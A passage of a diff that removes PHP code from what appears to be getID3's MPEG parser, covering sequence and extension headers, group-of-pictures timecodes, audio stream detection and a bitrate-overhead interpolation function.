$bitstreamoffset, 8); - } - } - $info['mpeg']['video']['raw']['load_non_intra_quantiser_matrix'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); - - if ($info['mpeg']['video']['raw']['load_non_intra_quantiser_matrix']) { - $bitstream .= getid3_lib::BigEndian2Bin(substr($MPEGstreamData, $StartCodeOffset + 12 + ($info['mpeg']['video']['raw']['load_intra_quantiser_matrix'] ? 64 : 0), 64)); - for ($i = 0; $i < 64; $i++) { - $info['mpeg']['video']['raw']['non_intra_quantiser_matrix'][$i] = self::readBitsFromStream($bitstream, $bitstreamoffset, 8); - } - } - - $info['mpeg']['video']['pixel_aspect_ratio'] = self::videoAspectRatioLookup($info['mpeg']['video']['raw']['aspect_ratio_information']); // may be overridden later if file turns out to be MPEG-2 - $info['mpeg']['video']['pixel_aspect_ratio_text'] = self::videoAspectRatioTextLookup($info['mpeg']['video']['raw']['aspect_ratio_information']); // may be overridden later if file turns out to be MPEG-2 - $info['mpeg']['video']['frame_rate'] = self::videoFramerateLookup($info['mpeg']['video']['raw']['frame_rate_code']); - if ($info['mpeg']['video']['raw']['bitrate'] == 0x3FFFF) { // 18 set bits = VBR - //$this->warning('This version of getID3() ['.$this->getid3->version().'] cannot determine average bitrate of VBR MPEG video files'); - $info['mpeg']['video']['bitrate_mode'] = 'vbr'; - } else { - $info['mpeg']['video']['bitrate'] = $info['mpeg']['video']['raw']['bitrate'] * 400; - $info['mpeg']['video']['bitrate_mode'] = 'cbr'; - $info['video']['bitrate'] = $info['mpeg']['video']['bitrate']; - } - $info['video']['resolution_x'] = $info['mpeg']['video']['raw']['horizontal_size_value']; - $info['video']['resolution_y'] = $info['mpeg']['video']['raw']['vertical_size_value']; - $info['video']['frame_rate'] = $info['mpeg']['video']['frame_rate']; - $info['video']['bitrate_mode'] = $info['mpeg']['video']['bitrate_mode']; - $info['video']['pixel_aspect_ratio'] = $info['mpeg']['video']['pixel_aspect_ratio']; - $info['video']['lossless'] = false; - $info['video']['bits_per_sample'] = 24; - break; - - case 0xB5: // extension_start_code - $info['video']['codec'] = 'MPEG-2'; - - $bitstream = getid3_lib::BigEndian2Bin(substr($MPEGstreamData, $StartCodeOffset + 4, 8)); // 48 bits for Sequence Extension ID; 61 bits for Sequence Display Extension ID; 59 bits for Sequence Scalable Extension ID - $bitstreamoffset = 0; - - $info['mpeg']['video']['raw']['extension_start_code_identifier'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 4); // 4 bits for extension_start_code_identifier -//echo $info['mpeg']['video']['raw']['extension_start_code_identifier'].'
                              '; - switch ($info['mpeg']['video']['raw']['extension_start_code_identifier']) { - case 1: // 0001 Sequence Extension ID - $info['mpeg']['video']['raw']['profile_and_level_indication'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 8); // 8 bits for profile_and_level_indication - $info['mpeg']['video']['raw']['progressive_sequence'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: progressive_sequence - $info['mpeg']['video']['raw']['chroma_format'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 2); // 2 bits for chroma_format - $info['mpeg']['video']['raw']['horizontal_size_extension'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 2); // 2 bits for horizontal_size_extension - $info['mpeg']['video']['raw']['vertical_size_extension'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 2); // 2 bits for vertical_size_extension - $info['mpeg']['video']['raw']['bit_rate_extension'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 12); // 12 bits for bit_rate_extension - $marker_bit = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // The term "marker_bit" indicates a one bit field in which the value zero is forbidden. These marker bits are introduced at several points in the syntax to avoid start code emulation. - $info['mpeg']['video']['raw']['vbv_buffer_size_extension'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 8); // 8 bits for vbv_buffer_size_extension - $info['mpeg']['video']['raw']['low_delay'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: low_delay - $info['mpeg']['video']['raw']['frame_rate_extension_n'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 2); // 2 bits for frame_rate_extension_n - $info['mpeg']['video']['raw']['frame_rate_extension_d'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 5); // 5 bits for frame_rate_extension_d - - $info['video']['resolution_x'] = ($info['mpeg']['video']['raw']['horizontal_size_extension'] << 12) | $info['mpeg']['video']['raw']['horizontal_size_value']; - $info['video']['resolution_y'] = ($info['mpeg']['video']['raw']['vertical_size_extension'] << 12) | $info['mpeg']['video']['raw']['vertical_size_value']; - $info['video']['interlaced'] = !$info['mpeg']['video']['raw']['progressive_sequence']; - $info['mpeg']['video']['interlaced'] = !$info['mpeg']['video']['raw']['progressive_sequence']; - $info['mpeg']['video']['chroma_format'] = self::chromaFormatTextLookup($info['mpeg']['video']['raw']['chroma_format']); - - if (isset($info['mpeg']['video']['raw']['aspect_ratio_information'])) { - // MPEG-2 defines the aspect ratio flag differently from MPEG-1, but the MPEG-2 extension start code may occur after we've already looked up the aspect ratio assuming it was MPEG-1, so re-lookup assuming MPEG-2 - // This must be done after the extended size is known, so the display aspect ratios can be converted to pixel aspect ratios. - $info['mpeg']['video']['pixel_aspect_ratio'] = self::videoAspectRatioLookup($info['mpeg']['video']['raw']['aspect_ratio_information'], 2, $info['video']['resolution_x'], $info['video']['resolution_y']); - $info['mpeg']['video']['pixel_aspect_ratio_text'] = self::videoAspectRatioTextLookup($info['mpeg']['video']['raw']['aspect_ratio_information'], 2); - $info['video']['pixel_aspect_ratio'] = $info['mpeg']['video']['pixel_aspect_ratio']; - $info['video']['pixel_aspect_ratio_text'] = $info['mpeg']['video']['pixel_aspect_ratio_text']; - } - - break; - - case 2: // 0010 Sequence Display Extension ID - $info['mpeg']['video']['raw']['video_format'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 3); // 3 bits for video_format - $info['mpeg']['video']['raw']['colour_description'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: colour_description - if ($info['mpeg']['video']['raw']['colour_description']) { - $info['mpeg']['video']['raw']['colour_primaries'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 8); // 8 bits for colour_primaries - $info['mpeg']['video']['raw']['transfer_characteristics'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 8); // 8 bits for transfer_characteristics - $info['mpeg']['video']['raw']['matrix_coefficients'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 8); // 8 bits for matrix_coefficients - } - $info['mpeg']['video']['raw']['display_horizontal_size'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 14); // 14 bits for display_horizontal_size - $marker_bit = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // The term "marker_bit" indicates a one bit field in which the value zero is forbidden. These marker bits are introduced at several points in the syntax to avoid start code emulation. - $info['mpeg']['video']['raw']['display_vertical_size'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 14); // 14 bits for display_vertical_size - - $info['mpeg']['video']['video_format'] = self::videoFormatTextLookup($info['mpeg']['video']['raw']['video_format']); - break; - - case 3: // 0011 Quant Matrix Extension ID - break; - - case 5: // 0101 Sequence Scalable Extension ID - $info['mpeg']['video']['raw']['scalable_mode'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 2); // 2 bits for scalable_mode - $info['mpeg']['video']['raw']['layer_id'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 4); // 4 bits for layer_id - if ($info['mpeg']['video']['raw']['scalable_mode'] == 1) { // "spatial scalability" - $info['mpeg']['video']['raw']['lower_layer_prediction_horizontal_size'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 14); // 14 bits for lower_layer_prediction_horizontal_size - $marker_bit = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // The term "marker_bit" indicates a one bit field in which the value zero is forbidden. These marker bits are introduced at several points in the syntax to avoid start code emulation. - $info['mpeg']['video']['raw']['lower_layer_prediction_vertical_size'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 14); // 14 bits for lower_layer_prediction_vertical_size - $info['mpeg']['video']['raw']['horizontal_subsampling_factor_m'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 5); // 5 bits for horizontal_subsampling_factor_m - $info['mpeg']['video']['raw']['horizontal_subsampling_factor_n'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 5); // 5 bits for horizontal_subsampling_factor_n - $info['mpeg']['video']['raw']['vertical_subsampling_factor_m'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 5); // 5 bits for vertical_subsampling_factor_m - $info['mpeg']['video']['raw']['vertical_subsampling_factor_n'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 5); // 5 bits for vertical_subsampling_factor_n - } elseif ($info['mpeg']['video']['raw']['scalable_mode'] == 3) { // "temporal scalability" - $info['mpeg']['video']['raw']['picture_mux_enable'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: picture_mux_enable - if ($info['mpeg']['video']['raw']['picture_mux_enable']) { - $info['mpeg']['video']['raw']['mux_to_progressive_sequence'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: mux_to_progressive_sequence - } - $info['mpeg']['video']['raw']['picture_mux_order'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 3); // 3 bits for picture_mux_order - $info['mpeg']['video']['raw']['picture_mux_factor'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 3); // 3 bits for picture_mux_factor - } - - $info['mpeg']['video']['scalable_mode'] = self::scalableModeTextLookup($info['mpeg']['video']['raw']['scalable_mode']); - break; - - case 7: // 0111 Picture Display Extension ID - break; - - case 8: // 1000 Picture Coding Extension ID - $info['mpeg']['video']['raw']['f_code_00'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 4); // 4 bits for f_code[0][0] (forward horizontal) - $info['mpeg']['video']['raw']['f_code_01'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 4); // 4 bits for f_code[0][1] (forward vertical) - $info['mpeg']['video']['raw']['f_code_10'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 4); // 4 bits for f_code[1][0] (backward horizontal) - $info['mpeg']['video']['raw']['f_code_11'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 4); // 4 bits for f_code[1][1] (backward vertical) - $info['mpeg']['video']['raw']['intra_dc_precision'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 2); // 2 bits for intra_dc_precision - $info['mpeg']['video']['raw']['picture_structure'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 2); // 2 bits for picture_structure - $info['mpeg']['video']['raw']['top_field_first'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: top_field_first - $info['mpeg']['video']['raw']['frame_pred_frame_dct'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: frame_pred_frame_dct - $info['mpeg']['video']['raw']['concealment_motion_vectors'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: concealment_motion_vectors - $info['mpeg']['video']['raw']['q_scale_type'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: q_scale_type - $info['mpeg']['video']['raw']['intra_vlc_format'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: intra_vlc_format - $info['mpeg']['video']['raw']['alternate_scan'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: alternate_scan - $info['mpeg']['video']['raw']['repeat_first_field'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: repeat_first_field - $info['mpeg']['video']['raw']['chroma_420_type'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: chroma_420_type - $info['mpeg']['video']['raw']['progressive_frame'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: progressive_frame - $info['mpeg']['video']['raw']['composite_display_flag'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: composite_display_flag - if ($info['mpeg']['video']['raw']['composite_display_flag']) { - $info['mpeg']['video']['raw']['v_axis'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: v_axis - $info['mpeg']['video']['raw']['field_sequence'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 3); // 3 bits for field_sequence - $info['mpeg']['video']['raw']['sub_carrier'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: sub_carrier - $info['mpeg']['video']['raw']['burst_amplitude'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 7); // 7 bits for burst_amplitude - $info['mpeg']['video']['raw']['sub_carrier_phase'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 8); // 8 bits for sub_carrier_phase - } - - $info['mpeg']['video']['intra_dc_precision_bits'] = $info['mpeg']['video']['raw']['intra_dc_precision'] + 8; - $info['mpeg']['video']['picture_structure'] = self::pictureStructureTextLookup($info['mpeg']['video']['raw']['picture_structure']); - break; - - case 9: // 1001 Picture Spatial Scalable Extension ID - break; - case 10: // 1010 Picture Temporal Scalable Extension ID - break; - - default: - $this->warning('Unexpected $info[mpeg][video][raw][extension_start_code_identifier] value of '.$info['mpeg']['video']['raw']['extension_start_code_identifier']); - break; - } - break; - - - case 0xB8: // group_of_pictures_header - $GOPcounter++; - if (!empty($info['mpeg']['video']['bitrate_mode']) && ($info['mpeg']['video']['bitrate_mode'] == 'vbr')) { - $bitstream = getid3_lib::BigEndian2Bin(substr($MPEGstreamData, $StartCodeOffset + 4, 4)); // 27 bits needed for group_of_pictures_header - $bitstreamoffset = 0; - - $GOPheader = array(); - - $GOPheader['byte_offset'] = $MPEGstreamBaseOffset + $StartCodeOffset; - $GOPheader['drop_frame_flag'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: drop_frame_flag - $GOPheader['time_code_hours'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 5); // 5 bits for time_code_hours - $GOPheader['time_code_minutes'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 6); // 6 bits for time_code_minutes - $marker_bit = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // The term "marker_bit" indicates a one bit field in which the value zero is forbidden. These marker bits are introduced at several points in the syntax to avoid start code emulation. - $GOPheader['time_code_seconds'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 6); // 6 bits for time_code_seconds - $GOPheader['time_code_pictures'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 6); // 6 bits for time_code_pictures - $GOPheader['closed_gop'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: closed_gop - $GOPheader['broken_link'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: broken_link - - $time_code_separator = ($GOPheader['drop_frame_flag'] ? ';' : ':'); // While non-drop time code is displayed with colons separating the digit pairs "HH:MM:SS:FF" drop frame is usually represented with a semi-colon (;) or period (.) as the divider between all the digit pairs "HH;MM;SS;FF", "HH.MM.SS.FF" - $GOPheader['time_code'] = sprintf('%02d'.$time_code_separator.'%02d'.$time_code_separator.'%02d'.$time_code_separator.'%02d', $GOPheader['time_code_hours'], $GOPheader['time_code_minutes'], $GOPheader['time_code_seconds'], $GOPheader['time_code_pictures']); - - $info['mpeg']['group_of_pictures'][] = $GOPheader; - } - break; - - case 0xC0: // audio stream - case 0xC1: // audio stream - case 0xC2: // audio stream - case 0xC3: // audio stream - case 0xC4: // audio stream - case 0xC5: // audio stream - case 0xC6: // audio stream - case 0xC7: // audio stream - case 0xC8: // audio stream - case 0xC9: // audio stream - case 0xCA: // audio stream - case 0xCB: // audio stream - case 0xCC: // audio stream - case 0xCD: // audio stream - case 0xCE: // audio stream - case 0xCF: // audio stream - case 0xD0: // audio stream - case 0xD1: // audio stream - case 0xD2: // audio stream - case 0xD3: // audio stream - case 0xD4: // audio stream - case 0xD5: // audio stream - case 0xD6: // audio stream - case 0xD7: // audio stream - case 0xD8: // audio stream - case 0xD9: // audio stream - case 0xDA: // audio stream - case 0xDB: // audio stream - case 0xDC: // audio stream - case 0xDD: // audio stream - case 0xDE: // audio stream - case 0xDF: // audio stream - //case 0xE0: // video stream - //case 0xE1: // video stream - //case 0xE2: // video stream - //case 0xE3: // video stream - //case 0xE4: // video stream - //case 0xE5: // video stream - //case 0xE6: // video stream - //case 0xE7: // video stream - //case 0xE8: // video stream - //case 0xE9: // video stream - //case 0xEA: // video stream - //case 0xEB: // video stream - //case 0xEC: // video stream - //case 0xED: // video stream - //case 0xEE: // video stream - //case 0xEF: // video stream - if (isset($ParsedAVchannels[$StartCodeValue])) { - break; - } - $ParsedAVchannels[$StartCodeValue] = $StartCodeValue; - // http://en.wikipedia.org/wiki/Packetized_elementary_stream - // http://dvd.sourceforge.net/dvdinfo/pes-hdr.html -/* - $PackedElementaryStream = array(); - if ($StartCodeValue >= 0xE0) { - $PackedElementaryStream['stream_type'] = 'video'; - $PackedElementaryStream['stream_id'] = $StartCodeValue - 0xE0; - } else { - $PackedElementaryStream['stream_type'] = 'audio'; - $PackedElementaryStream['stream_id'] = $StartCodeValue - 0xC0; - } - $PackedElementaryStream['packet_length'] = getid3_lib::BigEndian2Int(substr($MPEGstreamData, $StartCodeOffset + 4, 2)); - - $bitstream = getid3_lib::BigEndian2Bin(substr($MPEGstreamData, $StartCodeOffset + 6, 3)); // more may be needed below - $bitstreamoffset = 0; - - $PackedElementaryStream['marker_bits'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 2); // 2 bits for marker_bits -- should be "10" = 2 -echo 'marker_bits = '.$PackedElementaryStream['marker_bits'].'
                              '; - $PackedElementaryStream['scrambling_control'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 2); // 2 bits for scrambling_control -- 00 implies not scrambled - $PackedElementaryStream['priority'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: priority - $PackedElementaryStream['data_alignment_indicator'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: data_alignment_indicator -- 1 indicates that the PES packet header is immediately followed by the video start code or audio syncword - $PackedElementaryStream['copyright'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: copyright -- 1 implies copyrighted - $PackedElementaryStream['original_or_copy'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: original_or_copy -- 1 implies original - $PackedElementaryStream['pts_flag'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: pts_flag -- Presentation Time Stamp - $PackedElementaryStream['dts_flag'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: dts_flag -- Decode Time Stamp - $PackedElementaryStream['escr_flag'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: escr_flag -- Elementary Stream Clock Reference - $PackedElementaryStream['es_rate_flag'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: es_rate_flag -- Elementary Stream [data] Rate - $PackedElementaryStream['dsm_trick_mode_flag'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: dsm_trick_mode_flag -- DSM trick mode - not used by DVD - $PackedElementaryStream['additional_copy_info_flag'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: additional_copy_info_flag - $PackedElementaryStream['crc_flag'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: crc_flag - $PackedElementaryStream['extension_flag'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 1); // 1 bit flag: extension_flag - $PackedElementaryStream['pes_remain_header_length'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 8); // 1 bit flag: priority - - $additional_header_bytes = 0; - $additional_header_bytes += ($PackedElementaryStream['pts_flag'] ? 5 : 0); - $additional_header_bytes += ($PackedElementaryStream['dts_flag'] ? 5 : 0); - $additional_header_bytes += ($PackedElementaryStream['escr_flag'] ? 6 : 0); - $additional_header_bytes += ($PackedElementaryStream['es_rate_flag'] ? 3 : 0); - $additional_header_bytes += ($PackedElementaryStream['additional_copy_info_flag'] ? 1 : 0); - $additional_header_bytes += ($PackedElementaryStream['crc_flag'] ? 2 : 0); - $additional_header_bytes += ($PackedElementaryStream['extension_flag'] ? 1 : 0); -$PackedElementaryStream['additional_header_bytes'] = $additional_header_bytes; - $bitstream .= getid3_lib::BigEndian2Bin(substr($MPEGstreamData, $StartCodeOffset + 9, $additional_header_bytes)); - - $info['mpeg']['packed_elementary_streams'][$PackedElementaryStream['stream_type']][$PackedElementaryStream['stream_id']][] = $PackedElementaryStream; -*/ - $getid3_temp = new getID3(); - $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); - $getid3_temp->info = $info; - $getid3_mp3 = new getid3_mp3($getid3_temp); - for ($i = 0; $i <= 7; $i++) { - // some files have the MPEG-audio header 8 bytes after the end of the $00 $00 $01 $C0 signature, some have it up to 13 bytes (or more?) after - // I have no idea why or what the difference is, so this is a stupid hack. - // If anybody has any better idea of what's going on, please let me know - info@getid3.org - $getid3_temp->info = $info; // only overwrite real data if valid header found -//echo 'audio at? '.($MPEGstreamBaseOffset + $StartCodeOffset + 4 + 8 + $i).'
                              '; - if ($getid3_mp3->decodeMPEGaudioHeader($MPEGstreamBaseOffset + $StartCodeOffset + 4 + 8 + $i, $getid3_temp->info, false)) { -//echo 'yes!
                              '; - $info = $getid3_temp->info; - $info['audio']['bitrate_mode'] = 'cbr'; - $info['audio']['lossless'] = false; - break; - } - } - unset($getid3_temp, $getid3_mp3); - break; - - case 0xBC: // Program Stream Map - case 0xBD: // Private stream 1 (non MPEG audio, subpictures) - case 0xBE: // Padding stream - case 0xBF: // Private stream 2 (navigation data) - case 0xF0: // ECM stream - case 0xF1: // EMM stream - case 0xF2: // DSM-CC stream - case 0xF3: // ISO/IEC_13522_stream - case 0xF4: // ITU-I Rec. H.222.1 type A - case 0xF5: // ITU-I Rec. H.222.1 type B - case 0xF6: // ITU-I Rec. H.222.1 type C - case 0xF7: // ITU-I Rec. H.222.1 type D - case 0xF8: // ITU-I Rec. H.222.1 type E - case 0xF9: // ancilliary stream - case 0xFA: // ISO/IEC 14496-1 SL-packtized stream - case 0xFB: // ISO/IEC 14496-1 FlexMux stream - case 0xFC: // metadata stream - case 0xFD: // extended stream ID - case 0xFE: // reserved data stream - case 0xFF: // program stream directory - // ignore - break; - - default: - // ignore - break; - } - } while (true); - - - -// // Temporary hack to account for interleaving overhead: -// if (!empty($info['video']['bitrate']) && !empty($info['audio']['bitrate'])) { -// $info['playtime_seconds'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / ($info['video']['bitrate'] + $info['audio']['bitrate']); -// -// // Interleaved MPEG audio/video files have a certain amount of overhead that varies -// // by both video and audio bitrates, and not in any sensible, linear/logarithmic pattern -// // Use interpolated lookup tables to approximately guess how much is overhead, because -// // playtime is calculated as filesize / total-bitrate -// $info['playtime_seconds'] *= self::systemNonOverheadPercentage($info['video']['bitrate'], $info['audio']['bitrate']); -// -// //switch ($info['video']['bitrate']) { -// // case('5000000'): -// // $multiplier = 0.93292642112380355828048824319889; -// // break; -// // case('5500000'): -// // $multiplier = 0.93582895375200989965359777343219; -// // break; -// // case('6000000'): -// // $multiplier = 0.93796247714820932532911373859139; -// // break; -// // case('7000000'): -// // $multiplier = 0.9413264083635103463010117778776; -// // break; -// // default: -// // $multiplier = 1; -// // break; -// //} -// //$info['playtime_seconds'] *= $multiplier; -// //$this->warning('Interleaved MPEG audio/video playtime may be inaccurate. With current hack should be within a few seconds of accurate. Report to info@getid3.org if off by more than 10 seconds.'); -// if ($info['video']['bitrate'] < 50000) { -// $this->warning('Interleaved MPEG audio/video playtime may be slightly inaccurate for video bitrates below 100kbps. Except in extreme low-bitrate situations, error should be less than 1%. Report to info@getid3.org if greater than this.'); -// } -// } -// -/* -$time_prev = 0; -$byte_prev = 0; -$vbr_bitrates = array(); -foreach ($info['mpeg']['group_of_pictures'] as $gopkey => $gopdata) { - $time_this = ($gopdata['time_code_hours'] * 3600) + ($gopdata['time_code_minutes'] * 60) + $gopdata['time_code_seconds'] + ($gopdata['time_code_seconds'] / 30); - $byte_this = $gopdata['byte_offset']; - if ($gopkey > 0) { - if ($time_this > $time_prev) { - $bytedelta = $byte_this - $byte_prev; - $timedelta = $time_this - $time_prev; - $this_bitrate = ($bytedelta * 8) / $timedelta; -echo $gopkey.': ('.number_format($time_prev, 2).'-'.number_format($time_this, 2).') '.number_format($bytedelta).' bytes over '.number_format($timedelta, 3).' seconds = '.number_format($this_bitrate / 1000, 2).'kbps
                              '; - $time_prev = $time_this; - $byte_prev = $byte_this; - $vbr_bitrates[] = $this_bitrate; - } - } -} -echo 'average_File_bitrate = '.number_format(array_sum($vbr_bitrates) / count($vbr_bitrates), 1).'
                              '; -*/ -//echo '
                              '.print_r($FramesByGOP, true).'
                              '; - if (!empty($info['mpeg']['video']['bitrate_mode']) && ($info['mpeg']['video']['bitrate_mode'] == 'vbr')) { - $last_GOP_id = max(array_keys($FramesByGOP)); - $frames_in_last_GOP = count($FramesByGOP[$last_GOP_id]); - $gopdata = &$info['mpeg']['group_of_pictures'][$last_GOP_id]; - $info['playtime_seconds'] = ($gopdata['time_code_hours'] * 3600) + ($gopdata['time_code_minutes'] * 60) + $gopdata['time_code_seconds'] + (($gopdata['time_code_pictures'] + $frames_in_last_GOP + 1) / $info['mpeg']['video']['frame_rate']); - if (!isset($info['video']['bitrate'])) { - $overall_bitrate = ($info['avdataend'] - $info['avdataoffset']) * 8 / $info['playtime_seconds']; - $info['video']['bitrate'] = $overall_bitrate - (isset($info['audio']['bitrate']) ? $info['audio']['bitrate'] : 0); - } - unset($info['mpeg']['group_of_pictures']); - } - - return true; - } - - /** - * @param string $bitstream - * @param int $bitstreamoffset - * @param int $bits_to_read - * @param bool $return_singlebit_as_boolean - * - * @return bool|int - */ - private function readBitsFromStream(&$bitstream, &$bitstreamoffset, $bits_to_read, $return_singlebit_as_boolean=true) { - $return = bindec(substr($bitstream, $bitstreamoffset, $bits_to_read)); - $bitstreamoffset += $bits_to_read; - if (($bits_to_read == 1) && $return_singlebit_as_boolean) { - $return = (bool) $return; - } - return $return; - } - - /** - * @param int $VideoBitrate - * @param int $AudioBitrate - * - * @return float|int - */ - public static function systemNonOverheadPercentage($VideoBitrate, $AudioBitrate) { - $OverheadPercentage = 0; - - $AudioBitrate = max(min($AudioBitrate / 1000, 384), 32); // limit to range of 32kbps - 384kbps (should be only legal bitrates, but maybe VBR?) - $VideoBitrate = max(min($VideoBitrate / 1000, 10000), 10); // limit to range of 10kbps - 10Mbps (beyond that curves flatten anyways, no big loss) - - - $OverheadMultiplierByBitrate = array(); - //OMBB[audiobitrate] = array(video-10kbps, video-100kbps, video-1000kbps, video-10000kbps) - $OverheadMultiplierByBitrate[32] = array(0, 0.9676287944368530, 0.9802276264360310, 0.9844916183244460, 0.9852821845179940); - $OverheadMultiplierByBitrate[48] = array(0, 0.9779100089209830, 0.9787770035359320, 0.9846738664076130, 0.9852683013799960); - $OverheadMultiplierByBitrate[56] = array(0, 0.9731249855367600, 0.9776624308938040, 0.9832606361852130, 0.9843922606633340); - $OverheadMultiplierByBitrate[64] = array(0, 0.9755642683275760, 0.9795256705493390, 0.9836573009193170, 0.9851122539404470); - $OverheadMultiplierByBitrate[96] = array(0, 0.9788025247497290, 0.9798553314148700, 0.9822956869792560, 0.9834815119124690); - $OverheadMultiplierByBitrate[128] = array(0, 0.9816940050925480, 0.9821675936072120, 0.9829756927470870, 0.9839763420152050); - $OverheadMultiplierByBitrate[160] = array(0, 0.9825894094561180, 0.9820913399073960, 0.9823907143253970, 0.9832821783651570); - $OverheadMultiplierByBitrate[192] = array(0, 0.9832038474336260, 0.9825731694317960, 0.9821028622712400, 0.9828262076447620); - $OverheadMultiplierByBitrate[224] = array(0, 0.9836516298538770, 0.9824718601823890, 0.9818302180625380, 0.9823735101626480); - $OverheadMultiplierByBitrate[256] = array(0, 0.9845863022094920, 0.9837229411967540, 0.9824521662210830, 0.9828645172100790); - $OverheadMultiplierByBitrate[320] = array(0, 0.9849565280263180, 0.9837683142805110, 0.9822885275960400, 0.9824424382727190); - $OverheadMultiplierByBitrate[384] = array(0, 0.9856094774357600, 0.9844573394432720, 0.9825970399837330, 0.9824673808303890); - - $BitrateToUseMin = 32; - $BitrateToUseMax = 32; - $previousBitrate = 32; - foreach ($OverheadMultiplierByBitrate as $key => $value) { - if ($AudioBitrate >= $previousBitrate) { - $BitrateToUseMin = $previousBitrate; - } - if ($AudioBitrate < $key) { - $BitrateToUseMax = $key; - break; - } - $previousBitrate = $key; - } - $FactorA = ($BitrateToUseMax - $AudioBitrate) / ($BitrateToUseMax - $BitrateToUseMin); - - $VideoBitrateLog10 = log10($VideoBitrate); - $VideoFactorMin1 = $OverheadMultiplierByBitrate[$BitrateToUseMin][floor($VideoBitrateLog10)]; - $VideoFactorMin2 = $OverheadMultiplierByBitrate[$BitrateToUseMax][floor($VideoBitrateLog10)]; - $VideoFactorMax1 = $OverheadMultiplierByBitrate[$BitrateToUseMin][ceil($VideoBitrateLog10)]; - $VideoFactorMax2 = $OverheadMultiplierByBitrate[$BitrateToUseMax][ceil($VideoBitrateLog10)]; - $FactorV = $VideoBitrateLog10 - floor($VideoBitrateLog10); - - $OverheadPercentage = $VideoFactorMin1 * $FactorA * $FactorV; - $OverheadPercentage += $VideoFactorMin2 * (1 - $FactorA) * $FactorV; - $OverheadPercentage += $VideoFactorMax1 * $FactorA * (1 - $FactorV); - $OverheadPercentage += $VideoFactorMax2 * (1 - $FactorA) * (1 - $FactorV); - - return $OverheadPercentage; - } - - /** - * @param int $rawframerate - * - * @return float - 